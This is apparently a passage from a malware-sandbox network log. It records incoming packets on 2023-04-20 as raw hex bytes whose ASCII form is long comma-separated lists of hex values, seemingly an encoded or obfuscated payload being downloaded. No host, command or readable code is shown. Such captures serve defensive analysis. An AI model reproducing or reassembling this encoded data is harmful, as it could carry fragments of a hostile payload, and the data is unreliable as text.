2023-04-20 23:05:28 UTC	18445	IN	Data Raw: 34 2c 64 62 2c 63 65 2c 39 39 2c 36 65 2c 66 38 2c 31 32 66 2c 39 30 2c 63 33 2c 38 36 2c 64 33 2c 66 34 2c 31 30 38 2c 31 33 32 2c 63 64 2c 31 30 33 2c 62 32 2c 31 31 34 2c 35 64 2c 31 32 34 2c 37 64 2c 38 66 2c 37 34 2c 61 36 2c 65 64 2c 61 34 2c 31 32 64 2c 31 30 36 2c 31 33 30 2c 31 34 65 2c 37 65 2c 65 65 2c 61 63 2c 31 31 37 2c 31 31 38 2c 31 32 66 2c 36 35 2c 31 31 64 2c 64 61 2c 38 63 2c 31 30 32 2c 31 34 62 2c 31 34 37 2c 31 30 35 2c 31 30 33 2c 65 66 2c 39 39 2c 34 63 2c 36 37 2c 31 31 38 2c 31 33 36 2c 65 39 2c 31 30 62 2c 31 36 35 2c 34 32 2c 31 33 63 2c 31 30 35 2c 63 38 2c 31 31 32 2c 65 39 2c 31 31 65 2c 36 65 2c 34 62 2c 34 34 2c 31 32 30 2c 61 35 2c 35 33 2c 64 31 2c 66 38 2c 63 37 2c 31 33 35 2c 31 33 34 2c 31 31 30 2c 39 35 2c 62 33 2c Data Ascii: 4,db,ce,99,6e,f8,12f,90,c3,86,d3,f4,108,132,cd,103,b2,114,5d,124,7d,8f,74,a6,ed,a4,12d,106,130,14e,7e,ee,ac,117,118,12f,65,11d,da,8c,102,14b,147,105,103,ef,99,4c,67,118,136,e9,10b,165,42,13c,105,c8,112,e9,11e,6e,4b,44,120,a5,53,d1,f8,c7,135,134,110,95,b3,
2023-04-20 23:05:28 UTC	18461	IN	Data Raw: 61 30 2c 31 32 32 2c 31 31 32 2c 63 38 2c 31 30 38 2c 63 31 2c 36 32 2c 31 30 37 2c 31 35 39 2c 31 31 33 2c 31 30 30 2c 31 32 31 2c 31 35 66 2c 31 32 66 2c 31 31 39 2c 39 39 2c 39 37 2c 31 35 36 2c 61 33 2c 65 36 2c 65 65 2c 63 30 2c 31 30 38 2c 31 30 61 2c 31 33 32 2c 31 31 62 2c 31 30 30 2c 63 62 2c 65 37 2c 61 34 2c 34 35 2c 31 34 63 2c 63 36 2c 61 62 2c 31 31 38 2c 66 32 2c 66 33 2c 64 61 2c 31 30 36 2c 63 39 2c 31 36 34 2c 35 61 2c 66 34 2c 37 61 2c 31 35 30 2c 36 63 2c 37 31 2c 38 63 2c 31 31 63 2c 31 30 66 2c 31 31 35 2c 38 32 2c 65 33 2c 39 33 2c 35 31 2c 63 33 2c 35 35 2c 65 66 2c 64 33 2c 31 35 61 2c 31 32 64 2c 31 33 35 2c 33 64 2c 38 33 2c 64 62 2c 31 30 38 2c 64 66 2c 31 32 35 2c 61 66 2c 38 36 2c 31 32 63 2c 39 66 2c 39 62 2c 31 33 32 2c 37 Data Ascii: a0,122,112,c8,108,c1,62,107,159,113,100,121,15f,12f,119,99,97,156,a3,e6,ee,c0,108,10a,132,11b,100,cb,e7,a4,45,14c,c6,ab,118,f2,f3,da,106,c9,164,5a,f4,7a,150,6c,71,8c,11c,10f,115,82,e3,93,51,c3,55,ef,d3,15a,12d,135,3d,83,db,108,df,125,af,86,12c,9f,9b,132,7
2023-04-20 23:05:28 UTC	18477	IN	Data Raw: 31 32 65 2c 31 30 33 2c 62 66 2c 31 32 61 2c 36 64 2c 31 31 36 2c 31 35 31 2c 31 35 38 2c 61 31 2c 64 39 2c 66 35 2c 63 34 2c 38 62 2c 35 30 2c 66 37 2c 37 36 2c 66 31 2c 37 63 2c 35 63 2c 31 33 30 2c 39 37 2c 66 61 2c 62 32 2c 64 34 2c 31 31 64 2c 38 65 2c 62 34 2c 31 34 31 2c 66 34 2c 37 65 2c 37 64 2c 39 66 2c 38 65 2c 63 35 2c 37 39 2c 62 35 2c 31 30 36 2c 31 32 37 2c 31 32 37 2c 38 37 2c 31 30 32 2c 31 32 61 2c 31 33 63 2c 31 36 66 2c 31 33 31 2c 38 65 2c 36 66 2c 63 31 2c 65 61 2c 36 32 2c 31 35 33 2c 62 66 2c 64 39 2c 65 30 2c 65 62 2c 31 31 35 2c 65 35 2c 31 33 62 2c 37 61 2c 66 62 2c 65 63 2c 31 32 38 2c 38 38 2c 65 33 2c 63 61 2c 65 63 2c 31 34 39 2c 66 61 2c 63 63 2c 61 38 2c 65 65 2c 31 30 63 2c 62 65 2c 38 30 2c 61 36 2c 31 32 31 2c 64 32 2c Data Ascii: 12e,103,bf,12a,6d,116,151,158,a1,d9,f5,c4,8b,50,f7,76,f1,7c,5c,130,97,fa,b2,d4,11d,8e,b4,141,f4,7e,7d,9f,8e,c5,79,b5,106,127,127,87,102,12a,13c,16f,131,8e,6f,c1,ea,62,153,bf,d9,e0,eb,115,e5,13b,7a,fb,ec,128,88,e3,ca,ec,149,fa,cc,a8,ee,10c,be,80,a6,121,d2,
2023-04-20 23:05:28 UTC	18493	IN	Data Raw: 66 62 2c 61 64 2c 37 64 2c 31 34 65 2c 31 32 32 2c 33 37 2c 63 63 2c 63 35 2c 31 32 62 2c 31 34 63 2c 31 30 33 2c 31 37 31 2c 31 30 66 2c 31 33 30 2c 64 36 2c 65 39 2c 39 31 2c 66 64 2c 31 33 65 2c 31 30 31 2c 61 64 2c 39 62 2c 64 66 2c 61 31 2c 31 30 64 2c 66 31 2c 61 64 2c 31 30 32 2c 39 30 2c 61 37 2c 39 62 2c 37 64 2c 65 66 2c 36 31 2c 31 30 31 2c 61 30 2c 31 30 30 2c 37 65 2c 39 34 2c 38 34 2c 31 32 35 2c 37 39 2c 66 65 2c 61 31 2c 64 64 2c 31 31 62 2c 66 64 2c 63 64 2c 31 31 65 2c 31 32 66 2c 31 32 62 2c 62 66 2c 65 36 2c 39 64 2c 34 34 2c 66 38 2c 61 36 2c 31 30 33 2c 66 34 2c 64 63 2c 31 35 35 2c 34 38 2c 66 35 2c 35 34 2c 65 36 2c 38 38 2c 64 31 2c 61 38 2c 39 65 2c 61 62 2c 37 64 2c 61 36 2c 34 34 2c 38 63 2c 31 31 65 2c 38 66 2c 31 32 32 2c 62 Data Ascii: fb,ad,7d,14e,122,37,cc,c5,12b,14c,103,171,10f,130,d6,e9,91,fd,13e,101,ad,9b,df,a1,10d,f1,ad,102,90,a7,9b,7d,ef,61,101,a0,100,7e,94,84,125,79,fe,a1,dd,11b,fd,cd,11e,12f,12b,bf,e6,9d,44,f8,a6,103,f4,dc,155,48,f5,54,e6,88,d1,a8,9e,ab,7d,a6,44,8c,11e,8f,122,b
2023-04-20 23:05:28 UTC	18509	IN	Data Raw: 34 32 2c 31 30 64 2c 31 32 34 2c 31 34 64 2c 62 39 2c 31 31 33 2c 31 35 37 2c 31 35 63 2c 65 63 2c 63 36 2c 31 32 61 2c 61 33 2c 38 65 2c 64 66 2c 31 31 64 2c 63 65 2c 64 38 2c 61 38 2c 39 30 2c 66 30 2c 31 33 30 2c 65 36 2c 62 35 2c 36 39 2c 62 31 2c 63 36 2c 36 38 2c 64 35 2c 36 65 2c 64 39 2c 31 34 39 2c 62 30 2c 31 33 36 2c 31 30 32 2c 31 30 38 2c 38 34 2c 39 66 2c 31 31 34 2c 37 61 2c 61 31 2c 63 61 2c 66 36 2c 31 35 33 2c 63 62 2c 31 30 32 2c 31 31 61 2c 31 32 64 2c 31 30 38 2c 31 31 38 2c 35 64 2c 34 33 2c 31 35 37 2c 61 38 2c 37 33 2c 31 30 39 2c 65 36 2c 31 33 66 2c 31 30 35 2c 34 36 2c 31 33 66 2c 31 32 66 2c 37 64 2c 31 31 38 2c 37 65 2c 66 30 2c 39 65 2c 62 35 2c 31 34 37 2c 35 35 2c 61 61 2c 31 35 61 2c 31 34 35 2c 63 65 2c 39 62 2c 31 34 39 Data Ascii: 42,10d,124,14d,b9,113,157,15c,ec,c6,12a,a3,8e,df,11d,ce,d8,a8,90,f0,130,e6,b5,69,b1,c6,68,d5,6e,d9,149,b0,136,102,108,84,9f,114,7a,a1,ca,f6,153,cb,102,11a,12d,108,118,5d,43,157,a8,73,109,e6,13f,105,46,13f,12f,7d,118,7e,f0,9e,b5,147,55,aa,15a,145,ce,9b,149
2023-04-20 23:05:28 UTC	18525	IN	Data Raw: 31 30 64 2c 63 62 2c 31 32 34 2c 31 34 31 2c 39 34 2c 38 64 2c 64 63 2c 63 65 2c 65 30 2c 31 32 64 2c 61 63 2c 31 31 65 2c 64 33 2c 64 63 2c 62 36 2c 37 62 2c 62 34 2c 63 39 2c 63 35 2c 61 64 2c 31 31 38 2c 65 66 2c 62 35 2c 31 35 61 2c 31 30 63 2c 66 33 2c 64 66 2c 31 34 36 2c 33 38 2c 36 30 2c 31 32 63 2c 31 35 64 2c 38 65 2c 31 30 63 2c 62 34 2c 39 64 2c 31 32 66 2c 35 35 2c 31 33 62 2c 38 31 2c 31 33 38 2c 39 33 2c 31 31 33 2c 65 65 2c 37 33 2c 31 36 64 2c 66 39 2c 66 39 2c 31 31 31 2c 36 38 2c 31 30 33 2c 64 35 2c 66 39 2c 37 33 2c 31 30 61 2c 31 30 65 2c 31 31 37 2c 39 39 2c 31 33 32 2c 31 36 31 2c 37 30 2c 31 33 62 2c 31 32 37 2c 31 31 65 2c 64 37 2c 63 31 2c 65 33 2c 31 31 34 2c 31 30 38 2c 37 64 2c 63 32 2c 31 35 65 2c 62 36 2c 38 37 2c 39 66 2c Data Ascii: 10d,cb,124,141,94,8d,dc,ce,e0,12d,ac,11e,d3,dc,b6,7b,b4,c9,c5,ad,118,ef,b5,15a,10c,f3,df,146,38,60,12c,15d,8e,10c,b4,9d,12f,55,13b,81,138,93,113,ee,73,16d,f9,f9,111,68,103,d5,f9,73,10a,10e,117,99,132,161,70,13b,127,11e,d7,c1,e3,114,108,7d,c2,15e,b6,87,9f,
2023-04-20 23:05:28 UTC	18541	IN	Data Raw: 2c 39 38 2c 39 66 2c 38 65 2c 31 30 38 2c 34 65 2c 39 64 2c 31 32 63 2c 36 64 2c 36 62 2c 31 32 37 2c 31 35 32 2c 31 32 38 2c 37 64 2c 64 36 2c 64 37 2c 36 30 2c 31 34 30 2c 61 30 2c 31 35 33 2c 38 36 2c 34 37 2c 64 65 2c 37 30 2c 31 30 37 2c 36 61 2c 61 38 2c 61 31 2c 31 33 39 2c 38 38 2c 66 61 2c 31 33 64 2c 66 37 2c 63 64 2c 39 64 2c 65 36 2c 62 39 2c 35 33 2c 31 31 35 2c 31 32 61 2c 31 30 37 2c 31 30 34 2c 31 33 63 2c 31 34 61 2c 31 31 63 2c 65 31 2c 31 31 61 2c 31 35 63 2c 63 38 2c 31 31 30 2c 31 34 33 2c 64 38 2c 62 62 2c 35 33 2c 61 35 2c 31 33 65 2c 66 38 2c 37 65 2c 62 63 2c 31 33 32 2c 31 32 65 2c 62 62 2c 35 65 2c 39 30 2c 63 30 2c 38 33 2c 31 35 61 2c 38 39 2c 62 33 2c 39 31 2c 62 39 2c 63 38 2c 31 31 64 2c 35 62 2c 31 36 33 2c 62 38 2c 31 32 Data Ascii: ,98,9f,8e,108,4e,9d,12c,6d,6b,127,152,128,7d,d6,d7,60,140,a0,153,86,47,de,70,107,6a,a8,a1,139,88,fa,13d,f7,cd,9d,e6,b9,53,115,12a,107,104,13c,14a,11c,e1,11a,15c,c8,110,143,d8,bb,53,a5,13e,f8,7e,bc,132,12e,bb,5e,90,c0,83,15a,89,b3,91,b9,c8,11d,5b,163,b8,12
2023-04-20 23:05:28 UTC	18557	IN	Data Raw: 30 2c 31 33 31 2c 61 64 2c 31 32 35 2c 63 34 2c 63 32 2c 31 34 62 2c 36 33 2c 31 36 65 2c 31 31 33 2c 31 32 31 2c 33 34 2c 38 66 2c 65 62 2c 61 36 2c 37 31 2c 39 37 2c 31 33 39 2c 62 30 2c 66 36 2c 31 32 37 2c 66 62 2c 31 30 64 2c 63 62 2c 31 34 65 2c 37 31 2c 31 33 32 2c 61 61 2c 31 30 32 2c 38 65 2c 31 32 66 2c 66 38 2c 38 62 2c 39 34 2c 66 33 2c 31 35 35 2c 63 32 2c 66 32 2c 35 61 2c 39 36 2c 37 37 2c 31 30 65 2c 37 66 2c 39 66 2c 66 34 2c 36 61 2c 36 36 2c 31 33 30 2c 31 35 62 2c 65 37 2c 64 39 2c 35 33 2c 36 30 2c 61 32 2c 31 31 30 2c 31 30 65 2c 31 32 63 2c 31 34 62 2c 35 34 2c 38 39 2c 31 30 39 2c 31 33 39 2c 38 62 2c 61 33 2c 31 36 33 2c 39 36 2c 65 36 2c 31 33 66 2c 31 34 31 2c 66 37 2c 35 62 2c 61 36 2c 31 32 64 2c 31 31 66 2c 64 66 2c 39 38 2c Data Ascii: 0,131,ad,125,c4,c2,14b,63,16e,113,121,34,8f,eb,a6,71,97,139,b0,f6,127,fb,10d,cb,14e,71,132,aa,102,8e,12f,f8,8b,94,f3,155,c2,f2,5a,96,77,10e,7f,9f,f4,6a,66,130,15b,e7,d9,53,60,a2,110,10e,12c,14b,54,89,109,139,8b,a3,163,96,e6,13f,141,f7,5b,a6,12d,11f,df,98,
2023-04-20 23:05:28 UTC	18573	IN	Data Raw: 64 62 2c 37 31 2c 31 36 31 2c 37 62 2c 39 33 2c 39 37 2c 35 66 2c 66 64 2c 61 36 2c 31 34 36 2c 65 31 2c 61 65 2c 33 30 2c 61 36 2c 62 36 2c 31 33 66 2c 64 65 2c 62 38 2c 65 65 2c 64 66 2c 31 33 64 2c 63 37 2c 66 32 2c 37 32 2c 39 64 2c 31 35 63 2c 61 39 2c 34 64 2c 63 31 2c 31 31 66 2c 31 32 30 2c 38 64 2c 61 31 2c 31 33 61 2c 31 31 36 2c 31 35 61 2c 31 30 66 2c 64 38 2c 31 31 37 2c 37 63 2c 31 34 33 2c 31 30 61 2c 61 34 2c 31 33 39 2c 31 30 38 2c 62 36 2c 37 38 2c 65 66 2c 31 32 39 2c 31 31 63 2c 64 38 2c 33 63 2c 66 34 2c 36 62 2c 35 61 2c 37 39 2c 31 31 35 2c 38 61 2c 31 30 30 2c 35 64 2c 35 63 2c 64 34 2c 31 30 64 2c 66 66 2c 31 32 31 2c 63 30 2c 31 33 30 2c 31 33 35 2c 65 38 2c 31 34 35 2c 31 32 32 2c 37 66 2c 31 31 37 2c 61 36 2c 39 61 2c 35 61 2c Data Ascii: db,71,161,7b,93,97,5f,fd,a6,146,e1,ae,30,a6,b6,13f,de,b8,ee,df,13d,c7,f2,72,9d,15c,a9,4d,c1,11f,120,8d,a1,13a,116,15a,10f,d8,117,7c,143,10a,a4,139,108,b6,78,ef,129,11c,d8,3c,f4,6b,5a,79,115,8a,100,5d,5c,d4,10d,ff,121,c0,130,135,e8,145,122,7f,117,a6,9a,5a,
2023-04-20 23:05:28 UTC	18589	IN	Data Raw: 2c 61 62 2c 62 66 2c 38 38 2c 31 34 64 2c 31 32 32 2c 31 32 35 2c 31 31 66 2c 66 36 2c 64 36 2c 31 31 63 2c 36 36 2c 31 32 37 2c 31 33 30 2c 39 31 2c 63 31 2c 31 32 35 2c 31 35 38 2c 66 31 2c 31 34 38 2c 31 32 35 2c 66 61 2c 63 39 2c 65 36 2c 62 61 2c 31 36 39 2c 31 30 31 2c 61 33 2c 61 62 2c 61 38 2c 38 32 2c 38 31 2c 35 39 2c 31 34 39 2c 35 37 2c 62 35 2c 31 33 64 2c 66 62 2c 31 32 37 2c 34 65 2c 33 62 2c 31 33 33 2c 38 65 2c 35 34 2c 31 33 35 2c 66 32 2c 64 36 2c 34 35 2c 31 36 65 2c 31 31 31 2c 35 35 2c 65 39 2c 31 32 62 2c 63 63 2c 62 32 2c 35 38 2c 31 30 36 2c 31 34 38 2c 33 38 2c 63 33 2c 64 32 2c 31 33 37 2c 62 39 2c 37 65 2c 63 35 2c 38 33 2c 37 36 2c 37 64 2c 62 64 2c 31 34 36 2c 63 32 2c 31 31 30 2c 39 38 2c 61 65 2c 31 31 34 2c 31 30 63 2c 31 Data Ascii: ,ab,bf,88,14d,122,125,11f,f6,d6,11c,66,127,130,91,c1,125,158,f1,148,125,fa,c9,e6,ba,169,101,a3,ab,a8,82,81,59,149,57,b5,13d,fb,127,4e,3b,133,8e,54,135,f2,d6,45,16e,111,55,e9,12b,cc,b2,58,106,148,38,c3,d2,137,b9,7e,c5,83,76,7d,bd,146,c2,110,98,ae,114,10c,1
2023-04-20 23:05:29 UTC	18605	IN	Data Raw: 64 63 2c 61 61 2c 39 36 2c 65 32 2c 66 30 2c 31 31 33 2c 63 62 2c 66 39 2c 34 64 2c 31 34 61 2c 31 32 33 2c 61 64 2c 61 36 2c 37 36 2c 62 62 2c 37 32 2c 39 38 2c 39 36 2c 31 34 61 2c 61 39 2c 35 62 2c 35 61 2c 31 33 30 2c 31 32 34 2c 63 64 2c 31 36 36 2c 31 34 62 2c 31 32 61 2c 33 62 2c 64 36 2c 37 36 2c 63 61 2c 31 31 38 2c 62 30 2c 31 31 37 2c 62 62 2c 66 37 2c 38 35 2c 31 35 65 2c 31 33 34 2c 31 32 62 2c 31 30 33 2c 31 33 30 2c 37 65 2c 38 39 2c 66 31 2c 31 33 63 2c 31 33 31 2c 63 38 2c 31 33 66 2c 37 38 2c 36 64 2c 35 63 2c 34 30 2c 36 39 2c 31 31 65 2c 35 66 2c 31 34 37 2c 61 66 2c 39 62 2c 31 32 65 2c 31 35 35 2c 39 39 2c 66 61 2c 65 37 2c 31 32 38 2c 37 36 2c 66 38 2c 35 62 2c 38 66 2c 61 36 2c 34 39 2c 65 31 2c 38 30 2c 31 35 64 2c 38 63 2c 38 33 Data Ascii: dc,aa,96,e2,f0,113,cb,f9,4d,14a,123,ad,a6,76,bb,72,98,96,14a,a9,5b,5a,130,124,cd,166,14b,12a,3b,d6,76,ca,118,b0,117,bb,f7,85,15e,134,12b,103,130,7e,89,f1,13c,131,c8,13f,78,6d,5c,40,69,11e,5f,147,af,9b,12e,155,99,fa,e7,128,76,f8,5b,8f,a6,49,e1,80,15d,8c,83
2023-04-20 23:05:29 UTC	18621	IN	Data Raw: 63 2c 31 33 61 2c 35 62 2c 65 33 2c 31 30 66 2c 31 30 34 2c 66 30 2c 61 30 2c 65 37 2c 31 34 30 2c 61 39 2c 65 32 2c 64 64 2c 66 39 2c 63 31 2c 31 30 61 2c 31 33 32 2c 37 36 2c 31 32 30 2c 61 30 2c 31 31 64 2c 35 39 2c 66 34 2c 37 35 2c 35 66 2c 64 62 2c 39 64 2c 31 32 64 2c 38 34 2c 31 30 33 2c 61 62 2c 37 36 2c 31 32 62 2c 37 62 2c 66 33 2c 31 35 66 2c 31 35 38 2c 65 33 2c 62 36 2c 31 34 36 2c 31 32 31 2c 64 62 2c 31 34 35 2c 38 39 2c 31 34 63 2c 62 32 2c 35 66 2c 37 37 2c 31 31 39 2c 31 31 64 2c 38 64 2c 31 33 31 2c 31 30 33 2c 61 33 2c 38 63 2c 64 65 2c 38 36 2c 64 37 2c 61 63 2c 63 37 2c 37 37 2c 31 34 31 2c 62 36 2c 31 31 33 2c 64 34 2c 31 32 61 2c 31 33 32 2c 31 35 39 2c 31 33 35 2c 31 34 37 2c 35 65 2c 38 65 2c 64 35 2c 66 35 2c 61 36 2c 62 62 2c Data Ascii: c,13a,5b,e3,10f,104,f0,a0,e7,140,a9,e2,dd,f9,c1,10a,132,76,120,a0,11d,59,f4,75,5f,db,9d,12d,84,103,ab,76,12b,7b,f3,15f,158,e3,b6,146,121,db,145,89,14c,b2,5f,77,119,11d,8d,131,103,a3,8c,de,86,d7,ac,c7,77,141,b6,113,d4,12a,132,159,135,147,5e,8e,d5,f5,a6,bb,
2023-04-20 23:05:29 UTC	18637	IN	Data Raw: 34 2c 65 30 2c 34 64 2c 31 30 62 2c 31 32 32 2c 65 39 2c 63 64 2c 35 64 2c 66 35 2c 63 63 2c 66 36 2c 35 61 2c 63 66 2c 31 36 36 2c 31 35 37 2c 39 39 2c 64 64 2c 31 30 34 2c 64 63 2c 35 34 2c 38 31 2c 61 61 2c 62 37 2c 65 37 2c 35 38 2c 31 33 65 2c 31 33 30 2c 31 37 36 2c 31 34 62 2c 31 35 31 2c 63 34 2c 37 35 2c 66 37 2c 31 34 31 2c 39 34 2c 31 34 63 2c 66 34 2c 31 34 34 2c 65 31 2c 37 37 2c 31 34 61 2c 62 61 2c 66 39 2c 31 30 62 2c 31 30 62 2c 37 65 2c 65 63 2c 62 30 2c 61 32 2c 39 61 2c 37 37 2c 31 33 36 2c 64 39 2c 31 35 66 2c 65 38 2c 31 31 61 2c 61 36 2c 38 33 2c 63 33 2c 38 30 2c 65 36 2c 66 35 2c 65 65 2c 64 38 2c 39 34 2c 31 32 35 2c 34 37 2c 36 35 2c 63 39 2c 38 32 2c 31 33 36 2c 39 38 2c 37 65 2c 31 32 30 2c 66 63 2c 31 30 39 2c 37 63 2c 37 37 Data Ascii: 4,e0,4d,10b,122,e9,cd,5d,f5,cc,f6,5a,cf,166,157,99,dd,104,dc,54,81,aa,b7,e7,58,13e,130,176,14b,151,c4,75,f7,141,94,14c,f4,144,e1,77,14a,ba,f9,10b,10b,7e,ec,b0,a2,9a,77,136,d9,15f,e8,11a,a6,83,c3,80,e6,f5,ee,d8,94,125,47,65,c9,82,136,98,7e,120,fc,109,7c,77
2023-04-20 23:05:29 UTC	18653	IN	Data Raw: 2c 38 61 2c 31 33 38 2c 61 30 2c 33 36 2c 65 64 2c 31 31 39 2c 62 31 2c 64 36 2c 31 30 38 2c 61 33 2c 38 36 2c 31 33 39 2c 31 30 34 2c 31 32 38 2c 66 35 2c 31 34 65 2c 31 30 61 2c 65 38 2c 38 61 2c 65 35 2c 37 30 2c 31 31 32 2c 36 31 2c 66 63 2c 61 36 2c 38 66 2c 31 33 30 2c 35 37 2c 31 30 66 2c 65 32 2c 31 35 30 2c 63 65 2c 31 34 37 2c 66 63 2c 31 31 63 2c 33 32 2c 65 32 2c 38 34 2c 62 61 2c 61 32 2c 63 37 2c 36 39 2c 66 38 2c 31 35 34 2c 36 66 2c 63 39 2c 31 30 31 2c 65 32 2c 31 33 61 2c 31 32 38 2c 66 38 2c 63 65 2c 37 36 2c 33 66 2c 31 32 39 2c 61 61 2c 66 33 2c 31 33 34 2c 31 32 65 2c 38 36 2c 63 65 2c 61 37 2c 39 31 2c 64 66 2c 31 34 33 2c 31 34 38 2c 31 32 61 2c 31 31 35 2c 65 62 2c 66 65 2c 66 63 2c 31 34 32 2c 61 38 2c 31 30 39 2c 31 30 64 2c 38 Data Ascii: ,8a,138,a0,36,ed,119,b1,d6,108,a3,86,139,104,128,f5,14e,10a,e8,8a,e5,70,112,61,fc,a6,8f,130,57,10f,e2,150,ce,147,fc,11c,32,e2,84,ba,a2,c7,69,f8,154,6f,c9,101,e2,13a,128,f8,ce,76,3f,129,aa,f3,134,12e,86,ce,a7,91,df,143,148,12a,115,eb,fe,fc,142,a8,109,10d,8
2023-04-20 23:05:29 UTC	18669	IN	Data Raw: 2c 66 35 2c 36 32 2c 31 30 32 2c 62 31 2c 37 30 2c 31 30 65 2c 34 61 2c 37 35 2c 31 32 63 2c 65 33 2c 62 37 2c 64 65 2c 31 32 32 2c 31 34 37 2c 63 38 2c 66 65 2c 61 63 2c 63 61 2c 35 34 2c 39 32 2c 36 32 2c 64 33 2c 31 34 31 2c 38 64 2c 31 33 37 2c 37 37 2c 38 37 2c 39 66 2c 66 36 2c 31 33 65 2c 31 30 32 2c 37 30 2c 31 32 64 2c 61 61 2c 36 35 2c 37 39 2c 31 32 33 2c 31 36 35 2c 34 37 2c 31 36 65 2c 62 62 2c 31 31 32 2c 36 66 2c 31 31 63 2c 31 34 35 2c 61 30 2c 35 33 2c 66 63 2c 66 61 2c 33 38 2c 31 30 33 2c 31 32 32 2c 63 33 2c 39 30 2c 38 61 2c 66 30 2c 31 34 33 2c 64 37 2c 39 30 2c 31 36 37 2c 63 38 2c 36 65 2c 64 61 2c 62 34 2c 39 35 2c 34 62 2c 66 38 2c 61 39 2c 39 62 2c 37 65 2c 39 65 2c 38 36 2c 64 31 2c 62 32 2c 38 35 2c 31 32 36 2c 31 33 34 2c 63 Data Ascii: ,f5,62,102,b1,70,10e,4a,75,12c,e3,b7,de,122,147,c8,fe,ac,ca,54,92,62,d3,141,8d,137,77,87,9f,f6,13e,102,70,12d,aa,65,79,123,165,47,16e,bb,112,6f,11c,145,a0,53,fc,fa,38,103,122,c3,90,8a,f0,143,d7,90,167,c8,6e,da,b4,95,4b,f8,a9,9b,7e,9e,86,d1,b2,85,126,134,c
2023-04-20 23:05:29 UTC	18685	IN	Data Raw: 2c 31 33 35 2c 31 32 32 2c 39 34 2c 31 36 62 2c 31 33 62 2c 31 33 61 2c 31 32 33 2c 31 33 64 2c 62 61 2c 64 37 2c 31 31 31 2c 36 33 2c 31 35 61 2c 31 30 31 2c 31 36 32 2c 34 34 2c 39 61 2c 31 34 62 2c 38 66 2c 62 33 2c 35 30 2c 31 34 36 2c 31 32 33 2c 31 34 35 2c 38 32 2c 31 31 66 2c 66 39 2c 31 33 33 2c 31 33 63 2c 64 36 2c 31 33 66 2c 31 31 39 2c 36 30 2c 63 64 2c 37 65 2c 39 62 2c 31 31 63 2c 31 34 63 2c 31 32 63 2c 31 30 62 2c 65 64 2c 37 37 2c 64 65 2c 66 63 2c 65 34 2c 62 61 2c 37 66 2c 35 64 2c 38 34 2c 31 32 30 2c 38 66 2c 63 64 2c 63 65 2c 31 34 34 2c 31 34 62 2c 64 64 2c 35 62 2c 31 36 30 2c 37 65 2c 31 31 62 2c 31 33 38 2c 66 34 2c 62 37 2c 38 30 2c 35 33 2c 39 33 2c 61 66 2c 64 65 2c 65 34 2c 31 34 30 2c 31 32 34 2c 37 30 2c 32 66 2c 36 35 2c Data Ascii: ,135,122,94,16b,13b,13a,123,13d,ba,d7,111,63,15a,101,162,44,9a,14b,8f,b3,50,146,123,145,82,11f,f9,133,13c,d6,13f,119,60,cd,7e,9b,11c,14c,12c,10b,ed,77,de,fc,e4,ba,7f,5d,84,120,8f,cd,ce,144,14b,dd,5b,160,7e,11b,138,f4,b7,80,53,93,af,de,e4,140,124,70,2f,65,
2023-04-20 23:05:29 UTC	18701	IN	Data Raw: 31 36 31 2c 63 34 2c 63 31 2c 63 32 2c 31 35 62 2c 37 30 2c 31 32 63 2c 31 30 61 2c 63 33 2c 31 33 35 2c 62 64 2c 62 31 2c 31 32 36 2c 37 66 2c 31 33 34 2c 31 32 62 2c 63 32 2c 61 65 2c 35 30 2c 63 39 2c 31 31 35 2c 36 33 2c 61 34 2c 31 30 34 2c 63 32 2c 36 63 2c 38 34 2c 31 31 35 2c 31 36 33 2c 62 39 2c 38 30 2c 65 30 2c 31 34 34 2c 63 37 2c 31 34 33 2c 31 30 65 2c 39 31 2c 31 32 37 2c 39 61 2c 31 33 62 2c 31 35 31 2c 31 32 38 2c 65 37 2c 33 38 2c 31 34 30 2c 61 65 2c 37 62 2c 31 35 39 2c 31 34 61 2c 31 34 62 2c 61 37 2c 36 61 2c 31 31 63 2c 63 31 2c 35 66 2c 64 32 2c 31 34 32 2c 31 33 65 2c 66 35 2c 31 32 31 2c 63 64 2c 39 30 2c 36 36 2c 36 35 2c 31 36 38 2c 31 32 39 2c 31 30 31 2c 66 36 2c 31 35 33 2c 39 66 2c 34 38 2c 37 33 2c 31 35 30 2c 63 36 2c 63 Data Ascii: 161,c4,c1,c2,15b,70,12c,10a,c3,135,bd,b1,126,7f,134,12b,c2,ae,50,c9,115,63,a4,104,c2,6c,84,115,163,b9,80,e0,144,c7,143,10e,91,127,9a,13b,151,128,e7,38,140,ae,7b,159,14a,14b,a7,6a,11c,c1,5f,d2,142,13e,f5,121,cd,90,66,65,168,129,101,f6,153,9f,48,73,150,c6,c
2023-04-20 23:05:29 UTC	18717	IN	Data Raw: 38 2c 34 39 2c 31 34 38 2c 37 66 2c 38 63 2c 31 34 62 2c 31 35 65 2c 66 39 2c 65 63 2c 31 33 37 2c 38 33 2c 65 31 2c 31 32 66 2c 31 30 30 2c 39 66 2c 31 32 64 2c 62 31 2c 31 30 30 2c 31 31 37 2c 35 37 2c 63 34 2c 31 31 30 2c 37 39 2c 31 30 65 2c 35 35 2c 38 64 2c 36 39 2c 31 32 31 2c 65 36 2c 31 32 36 2c 31 31 65 2c 63 65 2c 35 33 2c 31 32 38 2c 31 30 37 2c 36 39 2c 35 61 2c 31 32 62 2c 62 38 2c 38 32 2c 61 34 2c 38 37 2c 66 38 2c 31 30 36 2c 38 61 2c 31 34 61 2c 31 33 38 2c 31 32 39 2c 36 39 2c 35 61 2c 31 33 35 2c 66 64 2c 31 33 65 2c 39 35 2c 38 62 2c 63 33 2c 39 36 2c 31 34 64 2c 31 31 34 2c 36 38 2c 37 61 2c 31 30 30 2c 31 36 33 2c 66 34 2c 31 30 36 2c 39 38 2c 64 33 2c 31 31 32 2c 66 63 2c 31 32 61 2c 61 66 2c 31 33 38 2c 63 32 2c 64 30 2c 38 33 2c Data Ascii: 8,49,148,7f,8c,14b,15e,f9,ec,137,83,e1,12f,100,9f,12d,b1,100,117,57,c4,110,79,10e,55,8d,69,121,e6,126,11e,ce,53,128,107,69,5a,12b,b8,82,a4,87,f8,106,8a,14a,138,129,69,5a,135,fd,13e,95,8b,c3,96,14d,114,68,7a,100,163,f4,106,98,d3,112,fc,12a,af,138,c2,d0,83,
